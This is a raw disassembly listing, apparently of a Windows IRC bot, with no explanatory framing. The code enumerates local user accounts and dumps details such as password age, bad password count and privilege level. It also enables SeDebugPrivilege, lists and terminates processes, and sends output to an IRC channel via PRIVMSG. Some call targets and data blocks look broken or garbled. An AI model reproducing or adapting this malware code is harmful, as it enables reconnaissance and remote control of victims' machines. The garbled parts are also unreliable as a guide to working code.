sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A4[eax*4] push offset unk_439150 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A0[eax*4] push offset unk_439120 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DADF0 lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_4390F8 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CAE4C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CAE3C pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CAFCC test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_1 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_439170 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB004 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CAED4 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439360 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_43932C push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB004 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB004 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DAB90 call sub_41B886 pop ecx mov eax, offset dword_4DAB90 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 26D0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CAF84 test eax, eax jnz short loc_419623 mov esi, offset dword_4DA98C push offset unk_439694 push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DA98C push eax push offset dword_439668 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2720517h push eax call dword_4CAF58 test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CAF30 test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CAFE0 mov esi, eax loc_4196AE: ; CODE XREF: sub_419651+32j push [ebp+var_4] nop call near ptr 2670858h mov eax, esi pop esi leave retn sub_419651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p ; sub_4198EB+74p var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CAF94, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_4198BB cmp dword_4CAF78, ebx jz loc_4198BB cmp dword_4CAE88, ebx jz loc_4198BB push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push ebx push 0Fh call dword_4CAF94 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_4198AE lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CAF78 mov esi, dword_427068 test eax, eax jz loc_4198A9 lea eax, [ebp+var_130] push eax push edi call dword_4CAE88 test eax, eax jz loc_4198A9 mov edi, dword_427084 mov ebx, 1F0FFFh loc_419780: ; CODE XREF: sub_4196BC+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_4197E7 mov [ebp+var_4], offset off_4396C0 loc_41978E: ; CODE XREF: sub_4196BC+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax nop call near ptr 2860000h test eax, eax jz short loc_4197B6 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_439720 jb short loc_41978E jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197B6: ; CODE XREF: sub_4196BC+E6j push [ebp+var_128] push 0 push ebx call edi test eax, eax mov [ebp+var_4], eax jz loc_41988F push 0 push eax nop call near ptr 2710BD7h test eax, eax jnz loc_41988F loc_4197DD: ; CODE XREF: sub_4196BC+1B9j push [ebp+var_4] call esi jmp loc_41988F ; --------------------------------------------------------------------------- loc_4197E7: ; CODE XREF: sub_4196BC+C9j cmp [ebp+arg_C], eax jnz loc_41987A cmp [ebp+arg_4], eax jz loc_41988F push [ebp+var_128] push 8 call dword_4CAF94 cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41983A lea ecx, [ebp+var_354] push ecx push eax call dword_4CAE34 push [ebp+var_128] test eax, eax jz short loc_419840 lea eax, [ebp+var_234] jmp short loc_419846 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4196BC+15Cj push [ebp+var_128] loc_419840: ; CODE XREF: sub_4196BC+174j lea eax, [ebp+var_10C] loc_419846: ; CODE XREF: sub_4196BC+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h jmp loc_4197DD ; --------------------------------------------------------------------------- loc_41987A: ; CODE XREF: sub_4196BC+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4198C2 loc_41988F: ; CODE XREF: sub_4196BC+F5j ; sub_4196BC+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CAE88 test eax, eax jnz loc_419780 xor ebx, ebx loc_4198A9: ; CODE XREF: sub_4196BC+9Dj ; sub_4196BC+B3j push [ebp+var_8] call esi loc_4198AE: ; CODE XREF: sub_4196BC+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx loc_4198BB: ; CODE XREF: sub_4196BC+3Aj ; sub_4196BC+46j ... xor eax, eax loc_4198BD: ; CODE XREF: sub_4196BC+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4198C2: ; CODE XREF: sub_4196BC+1D1j push [ebp+var_128] push 0 push ebx call edi push [ebp+var_8] mov edi, eax call esi push 0 push edi call near ptr 2710BD7h nop test eax, eax jnz short loc_4198E6 push edi call esi jmp short loc_4198BB ; --------------------------------------------------------------------------- loc_4198E6: ; CODE XREF: sub_4196BC+223j push 1 pop eax jmp short loc_4198BD sub_4196BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_4398C0 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41994A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_41994A: ; CODE XREF: sub_4198EB+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4196BC add esp, 18h test eax, eax jnz short loc_419972 push offset unk_43989C jmp short loc_419977 ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198EB+7Ej push offset unk_439878 loc_419977: ; CODE XREF: sub_4198EB+85j lea eax, [ebp+var_298] push eax call sub_41B886 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4199AA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409A72 add esp, 14h loc_4199AA: ; CODE XREF: sub_4198EB+9Dj lea eax, [ebp+var_298] push eax call sub_4151AC push [ebp+var_14] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26F0000h pop edi pop esi sub_4198EB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p ; sub_40B231+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 26907A1h mov esi, eax test esi, esi jz short loc_4199FB push 0 push esi nop call near ptr 2710BD7h test eax, eax jnz short loc_4199FB push esi xor edi, edi call near ptr 2670858h nop loc_4199FB: ; CODE XREF: sub_4199C9+1Aj ; sub_4199C9+27j mov eax, edi pop edi pop esi retn sub_4199C9 endp ; --------------------------------------------------------------------------- dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h ; DATA XREF: ___:004015EEo dd 4396BCh, 69DEE890h, 0E3EB0227h ; =============== S U B R O U T I N E ======================================= sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap ; sub_419A88+7Ep ... mov eax, dword_4DB1F8 push esi mov esi, dword_427068 cmp eax, 0FFFFFFFFh jz short loc_419A34 push eax call esi loc_419A34: ; CODE XREF: sub_419A20+Fj mov eax, dword_4DB200 cmp eax, 0FFFFFFFFh jz short loc_419A41 push eax call esi loc_419A41: ; CODE XREF: sub_419A20+1Cj mov eax, dword_4DB1F4 cmp eax, 0FFFFFFFFh jz short loc_419A4E push eax call esi loc_419A4E: ; CODE XREF: sub_419A20+29j pop esi retn sub_419A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41AFE0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DB1FC nop call near ptr 2700000h test eax, eax jnz short loc_419A83 call sub_419A20 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419A83: ; CODE XREF: sub_419A50+28j push 1 pop eax leave retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p ; sub_419B0F+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_43D128 push [ebp+arg_4] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_419ACB push 7D0h nop call near ptr 26903FCh push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41B886 add esp, 10h jmp short loc_419AE2 ; --------------------------------------------------------------------------- loc_419ACB: ; CODE XREF: sub_419A88+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41B886 add esp, 0Ch loc_419AE2: ; CODE XREF: sub_419A88+41j lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 test eax, eax jg short loc_419B0B call sub_419A20 loc_419B0B: ; CODE XREF: sub_419A88+7Cj xor eax, eax leave retn sub_419A88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B0F proc near ; DATA XREF: sub_419C64+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DB204 loc_419B27: ; CODE XREF: sub_419B0F+79j ; sub_419B0F+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DB1F8 call near ptr 28608C2h nop test eax, eax jz loc_419BF5 cmp [ebp+var_4], edi jnz short loc_419B8A lea eax, [ebp+var_8] push eax push dword_4DB1F4 nop call near ptr 28603F6h test eax, eax jz short loc_419B80 cmp [ebp+var_8], 103h jnz loc_419C19 loc_419B80: ; CODE XREF: sub_419B0F+62j push 0Ah nop call near ptr 26903FCh jmp short loc_419B27 ; --------------------------------------------------------------------------- loc_419B8A: ; CODE XREF: sub_419B0F+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_419BA1 loc_419B91: ; CODE XREF: sub_419B0F+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_419BEF inc eax cmp eax, [ebp+var_4] jb short loc_419B91 loc_419BA1: ; CODE XREF: sub_419B0F+80j mov [ebp+var_4], esi loc_419BA4: ; CODE XREF: sub_419B0F+E4j push esi lea 